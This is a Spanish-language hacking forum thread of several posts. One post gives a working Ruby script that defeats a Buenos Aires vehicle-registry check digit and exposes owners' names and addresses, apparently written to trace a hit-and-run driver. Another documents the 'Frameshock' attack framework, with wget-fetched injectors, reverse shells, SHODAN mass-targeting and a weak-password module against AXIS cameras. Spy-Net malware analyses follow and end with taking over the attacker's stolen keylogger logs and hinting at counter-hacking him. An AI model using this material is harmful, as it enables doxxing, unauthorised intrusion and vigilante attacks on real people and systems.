Tarde pero llegue te mando el flag

otro reto parecido q3rv0 recién me di cuenta de este :/ uno de nivel medio para luego entrar a los hard

Acá te dejo los retos que resolvimos de EKOPARTY con sus respectivos retos.

Todos los de Reversing y Exploiting están muy buenos y muy completos

You are not allowed to view links. Register or Login

Esto está muy bueno! Peeero me genera este error

/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- colorize (LoadError)
   from /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require'
   from funca.rb:1:in `<main>'


Alguna idea? saludos y muchas gracias!

pd; le saqué la primer línea del código y me genera entonces este error
funca.rb:56:in `calculate': undefined method `green' for "\n############## Rentas Ciudad de Buenos Aires ##############":String (NoMethodError)
   from funca.rb:66:in `<main>'

Huep! Sorry por la respuesta, no ando muchos por estos pagos, el problema lo tienes porq te falta la gema colorize, prueba:

sudo gem install colorize

y cuando termine la instalación, vuelve a ejecutar el código. Saludos!

Madre mía, menuda ñapa hacer eso desde el lado del cliente... jajajaja. Enorme la idea de automatizarlo, HD!

En el blog esta el codigo en Python tambien!

Hace algún tiempo tuve la mala fortuna de estar envuelto en un accidente de trafico algo grave, donde yo por viajar en moto, me lleve la peor parte. Totalmente en contra a lo que esperaba, el responsable del accidente no se detuvo a asistirme, por su parte prefirió darse a la fuga.

Luego de todos los protocolos médicos, unos cuantos moretones y tras no encontrar respuestas en la policía por falta de testigos, decidí comenzar una búsqueda personal de identificación del vehículo con el único dato que había logrado divisar en el golpe.

Por cuestiones de confidencialidad no utilizare la patente real del agresor sino una que alcance a leer en el registro del automotor mientras realizaba los tramites del seguro.


¿La pregunta?

Existe algún sistema que me permita consultar los datos y el estado de un vehículo que transita en la calle actualmente? La respuesta es si!


Luego de algunas consultas a google, logre dar con un servicio de Rentas en la provincia de Buenos Aires que nos permite consultar el estado de deuda de patentes de un vehículo.




El mismo tiene dos formas de funcionar, si no eres el propietario solamente puedes obtener los datos correspondiente a deudas sobre el automóvil pero el sistema no te permite acceder a las secciones que identifica a la persona registrada en el Registro del Automotor como titular del vehículo.


Por otro lado, para comprobar la titularidad del vehículo, el sistema solicita ingresar un numero de verificación especial único que solo el dueño del automóvil debe poseer, ya que el mismo sirve para imprimir boletas de pago de deudas que incluyen los datos personales del propietario del automotor, de esta forma garantiza la privacidad de los datos de los usuarios.


Lo primero que podemos analizar en el sitio, es que el dígito especial y verificador del sistema, solo acepta valores que van desde 00 a 99 (el valor no es tan único como uno cree)


En fin, la patente a estudiar en esta entrada sera JMO089, luego de realizar algunas pruebas manuales podemos apreciar que el captcha del sistema nunca es actualizado una vez que nos encontramos asociado a una sesión, permitiéndonos probar de forma manual las 99 combinaciones posibles hasta dar con la correcta.





En la imagen podemos apreciar que el captcha no cambia a medida que vamos probando posibles combinaciones numéricas hasta lograr dar con el correcto, por lo que da la posibilidad de programar un Brute Forcer que valla probando todos los valores posibles hasta dar con el indicado. Pero un ataque así representa un problema al tener que enfrentarnos con un captcha, cosa que no estaba dispuesto por una falta de tiempo para programar un You are not allowed to view links. Register or Login.

La pregunta que me formule fue:

Cual es la forma en que el sistema valida el valor correcto del dígito verificador?

Lo primero que pensé es que el sistema validaba el valor del lado del servidor luego de la consulta, por lo que me puse a comprobar las peticiones que realizaba el sitio al momento de enviar el formulario. Para esto utilice Live HTTP headers




Al encontrarme con esto, no podía creer lo que estaba viendo, técnicamente hablando si una validación no presenta una petición web hacia el Backend, quiere decir que la validación se esta realizado del lado del cliente osea:


Esto implica que el algoritmo de validación del código verificador se encuentra servido en algún archivo javascript del lado del navegador, por lo que me puse a analizar el source html del documento para lograr identificar algún indicio de la validación. Lo primero que analice fueron los siguientes archivos:




Dentro del archivo consultaDatos.js encontré la siguiente función con un nombre revelador: validaDatos


En la misma función se puede apreciar  en las lineas remarcadas la estructura donde se decide el mensaje de patente valida cumpliendo los requisitos de que el checkbox se encuentre marcado y el resultado de la función patente.valido() sea el necesario para resolver de forma correcta la estructura de decisión if().


El problema resulto que la función patente.valido() no se encontraba dentro del mismo documento, por lo que debía encontrar el fichero donde se encontraba la misma.

Para lo que no conozcan el funcionamiento de javascript, les aclaro que los ficheros js representan un gran código estructurado dividido en distintos archivos para mejorar su organización, pero siempre que estos archivos sean incluidos en el html los mismos pueden realizar llamadas a las funciones definidas entre ellos como si todos fueran miembros de la misma clase.


Luego de buscar un poco, llegue al siguiente archivo:


Dentro del mismo podemos obtener la estructura del código validador:



Luego de analizar detenida mente el código pude develar el comportamiento final del mismo.

El código calcula el dígito verificador en base a la patente del vehículo, sustituyendo las letras por números especiales para formar una cadena decimal, que luego suma según su indice, pares por un lado e impares por otro, como si de un array se tratase.



Luego si estos valores separados (digi1 y digi2) tienen un largo superior a un dígito (0 a 9), vuelve a sumarlos respectivamente hasta obtener 2 números de forma independiente con un largo de un dígito (0 a 9).


Y luego los concatena para obtener el numero mágico verificador:

Lo que resulta algo cómico es que esta función no tiene ninguna protección, y puede ser llamada desde la consola de desarrollo de Google Chrome o Firefox:

Con este numero verificador podemos realizar la consulta de forma exitosa:


Al momento de solicitar una factura podemos apreciar los datos personales como el nombre del titular registrado y la dirección residencial del mismo:


Realizando un poco de ingienería inversa desarrolle el siguientes scripts que permiten calcular cualquier dígito verificador solo con el numero de patente:
(Próximamente estaré agregando su versión en Python desarrollada por [Q]3rv[0]):

Ruby:


require 'colorize' #by hdbreaker

class Calculate

  def initialize()
    #inicializo array asociativo de clase
    @letrasValidas ={'A' => '14','B' => '01','C' => '00','D' => '16','E' => '05','F' => '20','G' => '19',
                     'H' => '09','I' => '24','J' => '07','K' => '21','L' => '08','M' => '04','N' => '13',
                     'O' => '25','P' => '22','Q' => '18','R' => '10','S' => '02','T' => '06','U' => '12',
                     'V' => '23','W' => '11','X' => '03','Y' => '15','Z' => '17',' ' => '60',};
  end

  #Funcion para calcular el numero de patente
  def calculate(patente)
    patAux = patente.upcase;
    pares = 0;
    impares = 0;

    #Bloque para sustituir las letras por los numeros correspondisntes
    @letrasValidas.each { |key|
      if(patAux.include? key[0])
        patAux = patAux.gsub(key[0], key[1]);
      end
    }

    #Sumo los imares por un lado y los pares por el otro
    for x in (0...patAux.length)
      if (x % 2 == 0)
        pares += patAux[x].to_i;
      else
        impares += patAux[x].to_i;
      end
    end

    #Si la sumatoria de los pares da un numero mayor a 1 digito, los sumo nuevamente hasta obtener 1 digito
    digi1 =pares.to_s;
    while (digi1.length > 1)
      pares = 0;
      for x in (0...digi1.length)
        pares += digi1[x].to_i;
      end
      digi1 = pares.to_s;
    end

    #Si la sumatoria de los impares da un numero mayor a 1 digito, los sumo nuevamente hasta obtener 1 digito
    digi2 =impares.to_s;
    while (digi2.length > 1)
      impares = 0;
      for x in (0...digi2.length)
        impares += digi2[x].to_i;
      end
      digi2 = impares.to_s;
    end

    ###############Salida en Pantalla###############
    puts "\n############## Rentas Ciudad de Buenos Aires ##############".green
    puts "URL: ".green+"https://lbserver02.agip.gob.ar/ConsultaPat/index.html".red
    puts "Dominio: ".green+patente.red
    puts "Verificador: ".green+digi1.red+""+digi2.red
    puts "\n"
  end
end

if(ARGV.length==1)
  obj = Calculate.new()
  obj.calculate(ARGV[0].to_s)
else
  puts "Usage: ruby calculate.rb [patente]"
end




Espero que esta entrega sirva para concientizar sobre la seguridad de nuestros datos personales, ya que recordemos que el fallo se encuentra en una red gubernamental que expone de forma descarada los datos personales de las personas.

Y si eres conductor... no vallas por la calle creyéndote intocable, nunca sabes con quien te puedes cruzar ni para que pueda utilizar tus datos, tal vez te encuentres con una persona que en vez de reportar el fallo utilice tu información para encontrarte, ir hacia tu casa y romperte las piernas.


Fuente: You are not allowed to view links. Register or Login

Antes que nada quiero agradecer a la comunidad que me ha ido reportando pequeños bugs de inestabilidad sobre el framework, los cuales he ido fixeando constantemente, a todos ellos les agradezco y los invito a descargar la ultima versión de su repositorio oficial:

You are not allowed to view links. Register or Login

Les recuerdo que el framework esta en fase BETA, en este momento solo es soportado por distribuciones Linux derivadas de Debian y esta en constante desarrollo, por lo que pido que todo aquel que haya identificado un error, actualice a la ultima versión del repositorio y confirme si el mismo sigue vigente.


En esta entrada quiero presentar una pequeña guía para explicar el funcionamiento de Frameshock y solventar dudas en su utilización.

Lo primero a resaltar es que todo aquel que haya utilizado alguna vez Metasploit no encontrara mayores problemas al familiarizarse con Frameshock, ya que hemos decidido seguir la linea de interacción de msf con el usuario para facilitar la migración y evitar las complicaciones sintácticas que implica una nueva forma de trabajo.

Frameshock se divide en 4 grande partes:

• El Main
• El Payload
• El Handler
• Los Modulos

Este es el cuerpo principal del Framework, en el encontraremos todas las utilidades de configuración para el correcto funcionamiento del mismo, las opciones de configuración de los payloads, la posibilidad de acceder al MultiHander de Frameshock así también como a la opción de búsquedas con el motor de SHODAN y todas las modificaciones a la base de datos que esto representa.

Lo importante a tratar en Frameshock, es que a diferencia de Metasploit las opciones de configuración del framework son globales, lo que nos permite acceder a las mismas desde módulos subyacentes brindado una excesiva flexibilidad al momento de desarrollar.

Los Payload en Frameshock también son globales así también las búsquedas de SHODAN, permitiéndonos rápidamente realizar múltiples ataques y reconfiguraciones veloces sin necesidad de modificar nada dentro del modulo que estamos operando ni de las Sesiones obtenidas.

Frameshock sigue esta linea de pensamiento:

1) Elige el payload a utilizar..
2) Inicia el Manejador de Sesiones.
3) Selecciona un Modulo y Ataca.



A diferencia de Mestasploit, Frameshock ofrece solo 5 posibles Payloads.

Cada uno cumple todas las necesidades que puede requerir un pentester dependiendo del sistema que va a atacar.

Los payloads mas potentes de Frameshock están programados en python, dando una dependencia de la maquina víctima con el interprete.

Esto fue solventado en linux, dando la posibilidad de generar 2 Payloads que dependen directamente de las Shells interactivas del sistema. Dado que algunos sistemas basados en ARM/IoT solo presentan /bin/sh creamos 2 payload que nos permiten gestionar Reverse Shell tanto en BASH como SH.

La verdad es que todavía para atacar a maquinas Windows de forma eficiente nos encontramos desarrollando un payload en C/C++ pero por el momento se puede pasar el payload por Py2Exe para generar un ejecutable compilado y lograr realizar el ataque correctamente. Aunque siempre esta la posibilidad de atacar servidores Windows con PowerShell que incluyen Python por defecto.

Dentro de los Payload tenemos 3 formas distintas de Funcionamiento.

Los Python Payloads:

Frameshock Main al seleccionar un Payload, genera un injector.py, el mismo se encuentra dentro de la carpeta del proyecto /Injector y a su vez es copiado dentro del directorio /Injector dentro la ruta definida por el usuario de Apache (/var/www en nuestro caso)

/var/www/Injector/injector.py #Esto nos permite acceder al payload de forma remota por medio de wget luego de la explotación de la vulnerabilidad.

injector.py es un pequeño código que se encarga de solicitarle al Handler el verdadero Payload para luego ejecutarlo On The Fly, evitando detecciones de Antivirus y realizando un mínimo trafico hacia internet .

Diagrama:

Victima (injector.py) --------------GiveMePayload----------> Atacante Handler
Victima (injector.py) <-------------------Payload-------------  Atacante Handler
Victima (Payload On Memory) ------Reverse Shell-----> Atacante Handler

Los Shell Payloads:

MainFrameshock  genera injector.sh o injector.bash, el mismo seencuentra dentro de la carpeta del proyecto /Injector y a su vez escopiado dentro del directorio /Injector dentro la ruta definida por elusuario de Apache (/var/www en nuestro caso)

/var/www/Injector/injector.sh || /var/www/Injector/injector.bash #Esto nos permite acceder al payload de forma remota por medio de wget luego de la explotación de la vulnerabilidad.

En este caso Injector.sh o Injector.bash, retorna por medio de métodos especificos una shell interactiva directamente sin solicitar Payload al Handler.

El Meterpreter Payload:

MainFrameshock al seleccionar un Payload, genera un injector.py, el mismo seencuentra dentro de la carpeta del proyecto /Injector y a su vez escopiado dentro del directorio /Injector dentro la ruta definida por el usuario de Apache (/var/www en nuestro caso)

/var/www/Injector/injector.py #Esto nos permite acceder al payload de forma remota por medio de wget luego de la explotación de la vulnerabilidad.

injector.py es un pequeño código que se encarga de solicitarle al Payload correspondiente a Metasploit Multi/Handler, el cual posteriormente ejecuta On The Fly y devuelve una Meterpreter Session.


El Handler se inicia desde el Main Menu ejecutando start handler, este es totalmente independiente y nos permite gestionar todos los tipos de Sesiones entregadas por los payloads, a excepción de Meterpreter, que es gestionado por Metasploit y depende su previa instalación.

Frameshock Handler, se comporta de 2 formas distintas dependiendo del indentificador enviado por el payload.

El mismo integra un Payload Manager encargado de enviar los Payload a los Injectors correspondientes y un Session Manager, encargado de gestionar de forma MultiThreading y Asincronica una ilimitada cantidad de Sesiones al mismo tiempo, permitiendo interactuar y volver a background a las Sesiones en cualquier momento por medio de los comandos interact y stop. Se espera en su proxima versión que sea capas de instalar un rootkit en los equipos deseados como modulo para mantener el acceso.

En la siguiente imagen se puede apreciar, como un injector.py solicita un payload al hanler y luego de su ejecución en memoria nos devuelve una Reverse Shell con la cual podemos interactuar en cualquier momento



Los Modulos desarrollados por lacomunidad se encuentran en ExtraModules y deben seleccionarse y copiarsedentro de la carpeta Modules, respentando la nomenclatura y elcorrespondiente identificador numérico acorde a la cantidad de modulospresentes en la carpeta.

Una vez hecho esto, podremos interactuar con los módulos seleccionados desde Frameshock con los comandos show modules y use {ModuleNumber}

Importante: **** Antes de realizar el ataque con un modulo, debemos asegurarnos de haber creado un payload y haber iniciado el Handler *** 


Una vez seleccionado un modulo, podemos visualizar sus opciones internas para adaptarlo a nuestras necesidades con el comando comando help

Cabe desatacar que cada desarrollador puede adaptar las propiedades internas de sus módulos acorde a sus necesidades, Frameshock propone una estructura base que ha de respetarse para sacar el maximo provecho del framework.

Entre las opciones por defecto de los modulos se expresa la función:  use shodan la cual carga como targets todos dispositivos obtenidos al utilizar la búsqueda por SHODAN en el Main Menu de Frameshock, permitiéndonos automatizar ataques masivos de forma sencilla y veloz.

En el ejemplo a tratar en este manual se atacara a una Camara AXIS remota, vulnerable al modulo AXISIntruder desarrollado por [Q]3rv[0], el cual prueba contraseñas débiles en estos dispositivos, una vez logrado acceso sube el Payload y en unos segundos nos retorna una shell dentro del pequeño sistema interno de estos dispositivos.

Cabe destacar que las cámaras AXIS ARM solo disponen de /bin/sh, por lo que nuestro payload deber ser acorde al ataque a realizar.


Iniciamos el Handler:


Seleccionamos el Modulo:


Configuramos un Target Manual:


Ejecutamos el Ataque:


Esperamos unos segundos, y vemos como nuestro handler maneja la Sesión:


Espero que esta guía solvente muchas de sus dudas, que les sea de utilidad y por sobretodo gracias por ayudarnos a volver realidad este gran proyecto!


Fuente: You are not allowed to view links. Register or Login

Hey muy bueno! mañana lo leo con detenimiento!

Este post pretende ser una extensión del aporte Análisis Dinámico de Spy-Net, los invito a repasar los antiguos post para no perder el hilo del tema

Análisis Estático Spy-Net:
You are not allowed to view links. Register or Login

Análisis Dinámico Spy-Net:
You are not allowed to view links. Register or Login

En este post retomaremos desde el momento en que generamos el volcado de memoria con DumpIT, pero esta vez analizaremos su contenido con Volatility, un framework desarrollado especificamente para el Análisis de Volcados de Memoria, Gracias a [Q]3rv[0] por la recomendación

Este framework nos permitira rapidamente aislar las secciones de memoria de un proceso comprometido para reducir la cantidad de memoria a analizar. Lo que resalta de este framework es que al estar totalmente programado en python permite utilizarlo con la distribución que mas nos guste, en mi caso usare un Ubuntu 14.04 un poco tuneado por mi, ganando estabilidad y teniendo todas las herramientas que me permitirán potenciar el alcance de Volatility

Instalacion de Volatility:

Descargamos la versión mas reciente de Volatility desde la fuente original del proyecto:

You are not allowed to view links. Register or Login


Luego lo descomprimimos, nos movemos a su ubicación y ejecutamos:

"sudo python setup.py install"

Aguardamos la finalización y listo, hora de trabajar con Volatility.


Primero: Damos una leida a todo lo que nos ofrece este gran framework: "vol.py -h"


Lo sorprendente de este framework es la cantidad de plugins que posee para extender el alcance del Forense.

Ahora que conocen un poco sobre Volatility, retomemos el Análisis.

Obtenemos un volcado de memoria con DumpIT (mem.raw) tal como vimos en el post anterior, una vez listo lo copiamos a linux, y procemos a analizarlo.

vol.py -f mem.raw imageinfo (esto nos devuelve el profile correspondiente a nuestro volcado)


Una vez indentificado el profile en nuestro caso: Win7SP0x86 pasaremos a recuperar los procesos que se encontraban en ejecución en ese momento:

vol.py -f mem.raw --profile=Win7SP0x86 pslist


Al final de la imagen podemos apreciar explorer.exe, el cual es el proceso que identificamos realizaba la conexión al host remoto.
A este proceso lo detectamos con CurrPorts, pero podemos identificarlo mucho mas rápido y sin necesidad de instalar un programa externo
ejecutando el comando: "netstat -b" (Gracias Turka por el TIP)


Con volatility aislaremos todas las secciones de memoria que pertenecen a explorer.exe generando un Subvolcado de la memoria, para eso nos ayudaremos del plugin: memdump 
Para esto necesitaremos el PID de explorer.exe que nos arrojo pslist (1344)

vol.py -f mem.raw --profile=Win7SP0x86 -p 1344 memdump -D ./ (Esto nos generar un Subvolcado PID.dmp)


Con esto hemos reducido el peso de 268 Mb a 203 Mb (esto significa, muchisimas lineas menos que analizar )


Pero recordemos que al final, en este caso, solo analizamos las cadenas de texto dentro de la memoria, por lo cual en este subvolcado todavía hay mucho codigo binario que no nos interesa, para reducirlo aun más nos ayudaremos de una poderosa herramienta de linux, que ya muchos deben conocer: strings

strings 1344.dmp >> explorer.txt


El resultado es sorprendente son solo 6 Mb de Strings para analizar, y no solo eso... con la ayuda de grep podemos obtener resultados filtrados a la velocidad de un chasquido.

Memorandum:

¿Que buscar?
no-ip, ddns, explorer.exe, update.exe, Juego.exe, Claves de Registros, etc


La verdad es con la primer busqueda nos va demaciado bien:

cat explorer.txt | grep no-ip


Conclusión:

Con el Framework Volatility hemos reducido el proceso de busqueda de información a menos de 5 minutos (realmente me tomo 5 minutos de reloj encontrar esta información) cuando analizando todo el volcado desde un editor hexadecimal tariamos mucho mas (recuerden que este volcado es de 256 Mb imaginen un volcado de 4 u 8 Gb), con este metodo corremos el riesgo de perder caracteres binarios especiales, que sean importantes para el malware y no necesariamente sean un string, pero es un framework muy poderoso y recomendable!

Continuando con el post Anterior:

You are not allowed to view links. Register or Login

Voy a realizar el Análisis Dinámico de la Infección, para los que no recuerden el escenario es el siguiente:

La victima ejecuta un binario de Spy-Net que prometía ser un juego en su pc, este no nota nada inusual nisiquiera una ventana de instalación en su pc,intenta nuevamente la ejecución pero nuevamente nada sucede y antes de decidirse a borrar el archivo se pregunta, estaré siendo victima de un malware... La diferencia radica que esta vez realizaremos un Análisis Dinámico, para identificar el Agresor y desinfectarnos exitosamente...

Los Datos Recopilados con el Análisis Estático fueron los siguientes:

Troyano: Spy-Net

Registros de Autoinicio:
"Software\Microsoft\Windows\CurrentVersion\Run"
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"

Ubicación del Malware: C:\Windows\EIS\update.exe
Rutas de Configuracion MSConfig:
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder"
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg"

Espectativas: Lograr identificar host y puerto donde se conecta el malware, obtener credenciales necesarias para entrar al panel y de existir, obtener las credenciales asociadas a la recopilación de logs.


Primero usaremos Process Monitor para identificar los nuevos procesos que se general al ejecutar el Malware:


Como podemos apreciar en la imagen, al ejecutar Juego.exe tambien podemos apreciar que aparece en ejecución el proceso update.exe
si vemos la ruta de su ejecución podemos apreciar su dirección de destino:

"C:\Windows\EIS\update.exe" (La misma que encontramos con nuestro Análisis Estático)

Ya con esta información, cerramos Process Monitor, abrimos Process Explorer y ejecutamos nuevamente el Juego.exe:


Luego de algunos intentos (ya que el proceso se cierra para ocultarse del análisis) logramos ingresar a sus propiedades.
Al Analizar las mismas no notamos nada extraño.

La pregunta ahora es, que hace "C:\Windows\EIS\update.exe", asi que vamos hacia la dirección ejecutamos el binario y volvemos
a analizar con Process Explorer:


Podemos ver que update.exe tiene una ruta de AutoStart:
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\HKLM"

Entonces procedemos a ejecutar CurrPorts para ver si el malware esta realizando algun tipo de conexión hacia el exterior:


En este apartado podemos notar muy claramente que hay una conexión hacia el host remoto 181.23.131.19 en el puerto 9667
pero para nuestra sorpresa notamos que el proceso que realiza la conexión es "Explorer.EXE" y no "Juego.exe" o "update.exe" como esperábamos. Podemos deducir que el Malware migra intentando ocultarse hacia el Proceso Explorer.EXE

En este punto se presenta la duda... ¿Podre capturar el trafico que realiza mi pc hacia el host remoto? ¿Podre obtener las credenciales para validar el malware? ¿Enviara logs a algun dominio, podre obtener sus credenciales?

Nos ponemos manos a la obra, e iniciamos Wireshark:
En este paso vamos a realizar algo importante, primero vamos a apagar la maquina Victima, en ese momento iniciaremos Wireshark y aplicaremos el siguiente filtro:

"ip.dst==181.23.131.19 && tcp.port==9667"

Luego volveremos a iniciar la pc Victima.
Esto nos permitirá capturar desde la primer conexión que realice el Troyano al host 181.23.131.19:9667 y con un poco de suerte capturaremos las credenciales para validarnos posteriormente


Luego de Analizar algunos paquetes, llegamos a la conclusión obvia, de que la comunicación viaja codificada con un cifrado que no logramos reconocer, luego de pensar un poco y sacar mis propias hipótesis bajo mis propios desarrollos de Malware y Crypters, llego a la pregunta:

¿En algún momento, el código encriptado se desencripta...? La respuesta es SI

Pequeña reseña de como funciona un Malware Encriptado (Crypter):

"Un Malware Encriptado es la unión de 2 programas, el Stub y el Malware Encriptado. El stub se encarga de leerse a el mismo buscando un delimitador que le indique que apartir de ese byte todo lo que sigue es el malware Encriptado cargado en memoria, lo desencripta completamente al finalizar OBTIENE UNA VERSIÓN LIMPIA, DESENCRIPTADA Y DESOFUSCADA DEL MALWARE, que luego envía hacia el RUNPE que se encarga de inyectar el codigo en memoria (String) dentro de un proceso (por ej notepad.exe) que inicia suspendido, una vez la inyección termina con éxito reactiva el proceso (notepad.exe) que realmente ejecuta el codigo inyectado de nuestro malware"

OBTIENE UNA VERSIÓN LIMPIA, DESENCRIPTADA Y DESOFUSCADA DEL MALWARE... Joder es el momento ideal para analizar las conexiones que realiza el troyano.

La pregunta ahora es... ¿Donde obtengo esa versión limpia? y la respuesta es DESDE LA MEMORIA RAM!!!

Con la ayuda de nuestro amigo DumpIT (un programa que permite volcar la memoria RAM a un archivo hexadecimal) volcaremos
la memoria de nuestra Victima para analizar sus Strings Completamente Desencriptados...

Acá existe un punto que aclarar, un volcado de memoria resulta ser bastante sucio ya que vuelca todo lo que este residente en RAM, eso involucra a todos los programas que no son nuestro malware y que estarán complicando nuestro Análisis, una recomendación es reiniciar la pc antes de realizar el volcado, con el fin de liberar la RAM de toda basura que haya quedado residente en memoria. Ademas mientras mayor sea nuestra cantidad de RAM mayor sera el tamaño del fichero de volcado, por lo que si es posible reducir la memoria lo mas que se pueda, en mi caso reduje la memoria de 1 GB a 256 mb para obtener un resultado mas pulcro


Luego de esto abrimos con nuestro editor hexadecimal favorito el archivo .raw que creo DumpIT, como les dije el resultado sera algo bastante sucio y complicado de leer, por el principio de como funciona la RAM y la MEMORY REALOCATION que se encarga de "desfragmentar" la memoria en tiempo real casi como si fuera el garbage colector de JAVA con el fin de liberar memoria q no se este utilizando, y puedo enviar hacia donde mejor considere partes del codigo que queremos analizar, ya que internamente el STACK siempre mantiene un puntero que entrelaza todas las direcciones de memoria que organizan el binario en ejecución. Pero gracias a la opción "SEARCH" podemos buscar Strings por medio de todo el volcado.

La pregunta que nace es... ¿Qué buscamos? y para responder esto debemos pensar QUE SABEMOS

Lo que sabemos:

Nombres de los binarios infectados:
update.exe
Juego.exe
explorer.exe

Troyano: Spy-Net
Probablemente utilice algun servicio de refresco automatico de ip:
no-ip, dyndns, ddns, etc

Claves del Registro:
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\HKLM"
"Software\Microsoft\Windows\CurrentVersion\Run"
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"

Utilicemos esta información para buscar sobre el volcado de memoria, con un poco de paciencia y arduo Análisis llegamos al siguiente resultado:


En este momento podemos estallar de alegría, ya que hemos obtenido información muy importante

Informacion Obtenida:

El Malware se conecta a 2 host distintos
Una posible contraseña de autentificación del Malware
Un servicio ftp con Usuario y Contraseña (Probablemente donde se guarden los logs del keyloger)

Una visita al ftp revela que hemos dado con el registro de logs del atacante, lo que basicamente significa que hemos obtenido lo mas importante de una botnet, todos los datos tipeados por las victimas (Usuarios, Contraseñas, CreditCards, HomeBanking, etc)


Desinfección:

En este paso nos haremos de la mano de Apate DNS, un Servidor DNS que nos permite redireccionar todo el trafico saliente hacia una dirección IP especifica, en nuestro caso nuestro "127.0.0.1" (No hay lugar como el hogar)


Luego de esto abrimos Spy-Net y configuramos el cliente con los datos que hemos obtenido

Puertos: 9667 y 5992
Pass: XXXXXX

y esperamos la conexión, en caso de que esta no se realice con exito antes de cuestionar la validez de la password, abrir CurrPorts, y cerrar las conexiónes establecidas por el rat para que este reconecte.


Desinstalamos el Malware de nuestra maquina, y ahora podemos dar caza al Atacante (robar o borrar sus logs y averiguar un poco mas de el)
para esto realizamos un ping para saber si alguno de los host isAlive:


El host esta activo realizamos un pequeño whois:


Vemos que el ISP que sirve esa dirección es Telefonica, ahora simplemente podemos llamar al ISP pedir junto con una denuncia la pc que estuvo ocupando ese ip por este periodo de tiempo, y asi poder llevar a la cárcel al dueño de esta botnet.

O... podemos indagar un poco mas con NMAP


Como podemos ver el atacante tiene varios servicios levantados, ahora toca buscar alguna vulnerabilidad en su sistema, adueñarse de su botnet y devolverle el favor de la infección. ¿Cual fue mi decisión....? Lo dejo a su imaginación

Mis mas allegados saben que hace un tiempo he empezado a aumentar mis fronteras en Desarrollo y Análisis de Malware, y me parecio interesante analizar de forma estática el conocido Spy-Net, y ver si podía lograr una desinfección exitosa. El resultado fue mucho mas satisfactorio de lo que esperaba.

Escenario: La victima ejecuta un binario de Spy-Net que prometía ser un juego en su pc, este no nota nada inusual nisiquiera una ventana de instalación en su pc,intenta nuevamente la ejecución pero nuevamente nada sucede y antes de decidirse a borrar el archivo se pregunta, estaré siendo victima de un malware. Y pone manos a la obra para Análisar Estaticamente el binario, y ver si entre sus strings, revelan alguna modificación al Sistema Operativo

Primero, intenta abrir el binario con un editor hexadecimal:


Al bajar unas pocas lineas de codigo se encuentra con que el binario tiene algunos sectores comprimidos con UPX.
Intenta visualizar sin exito algún string desofucado con OllyDBG:


Para asegurar su idea Analiza RDG Packer Detector:


Esto confirma que detrás del binario hay algo empaquetado y protegido con UPX, además el resultado no denota que el binario este bindeado, por lo que cierra la coincidencia que luego de la ejecución del binario no apareciera ninguna ventana de instalación

Se prepara para desempaquetar una copia del archivo para poder Análizar mas profundamente los Strings del binario


Luego de esto analiza nuevamente el fichero con RDG Packer Detector:


Esto confirma que efectivamente fue victima de un malware, en este caso Spy-Net, el mismo esta programado en Delphi y su binario esta protegido por Private Exe Protector. Luego de una busqueda sin resultados por un Desofucador de Private Exe Protector y por darse a la caza con un Análisis Dinámico, decide pasar el archivo por DeDe (Delphi Decompiler) con el fin de lograr ver algo que haya quedado sin Ofuscar.


Al bajar un poco, resalta una linea que todo aquel que ha desarrollado un malware en su vida, reconoce...

Software\Microsoft\Windows\CurrentVersion\

Esta famosa linea con alguna que otra variante, indica la posible ejecución de un programa al momento del inicio del sistema.

Preocupado la victima decide Analizar mas profundamente las strings del binario con OllyDBG


Entre las lineas que encuentra resaltan las siguientes:

Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

Luego de esto pasa a buscar que hay en el registro (regedit.exe) de Windows en esas direcciones


Encuentra la "coincidencia" que en ambas las rutas, encuentra un registro que apunta hacia "C:\Windows\EIS\update.exe".

Acto seguido ejecuta el explorador de archivos y se dirige hacia esa dirección


Encuentra el famoso archivo update.exe y al no estar seguro si este archivo realmente es o no parte del Sistema Operativo, realiza una serie de comprobaciones.

Una muy basica, compara el peso de "update.exe" con el peso del archivo original que descargo


Se sorprende un poco y ve que ambos archivos pesan EXACTAMENTE lo mismo. Pero antes de dar fe ciega de que este archivo es el troyano oculto de Spy-Net, decide hacer una comprobación binaria profunda con Hex Workshop para asegurar de que ambos archivos son binariamente iguales, y no solo una coincidencia de peso.

Ambos archivos son binariamente iguales, lo que garantiza que update.exe es el binario oculto de Spy-Net.

La Victima se alegra un poco, y decide realizar una desinfección manual.

Desinfeccion:
Elimina ambos binarios.
Elimina las claves en el registro de windows.
Destildar todo lo que apunte a update desde msconfig.

(Esto es para eliminar las entradas destildadas en el msconfig)
Elimina todas las carpetas del registro que hagan referencias al binario en las rutas:

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder"
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg"

Para esto debe iniciar su pc en Modo Seguro al inicio.






Luego reinicia y puede garantizar una desinfección correcta por medio de un Análisis Dinámico.
En este caso dejo una imagen del Panel de Control, antes y después del Análisis.




Happy Hunting!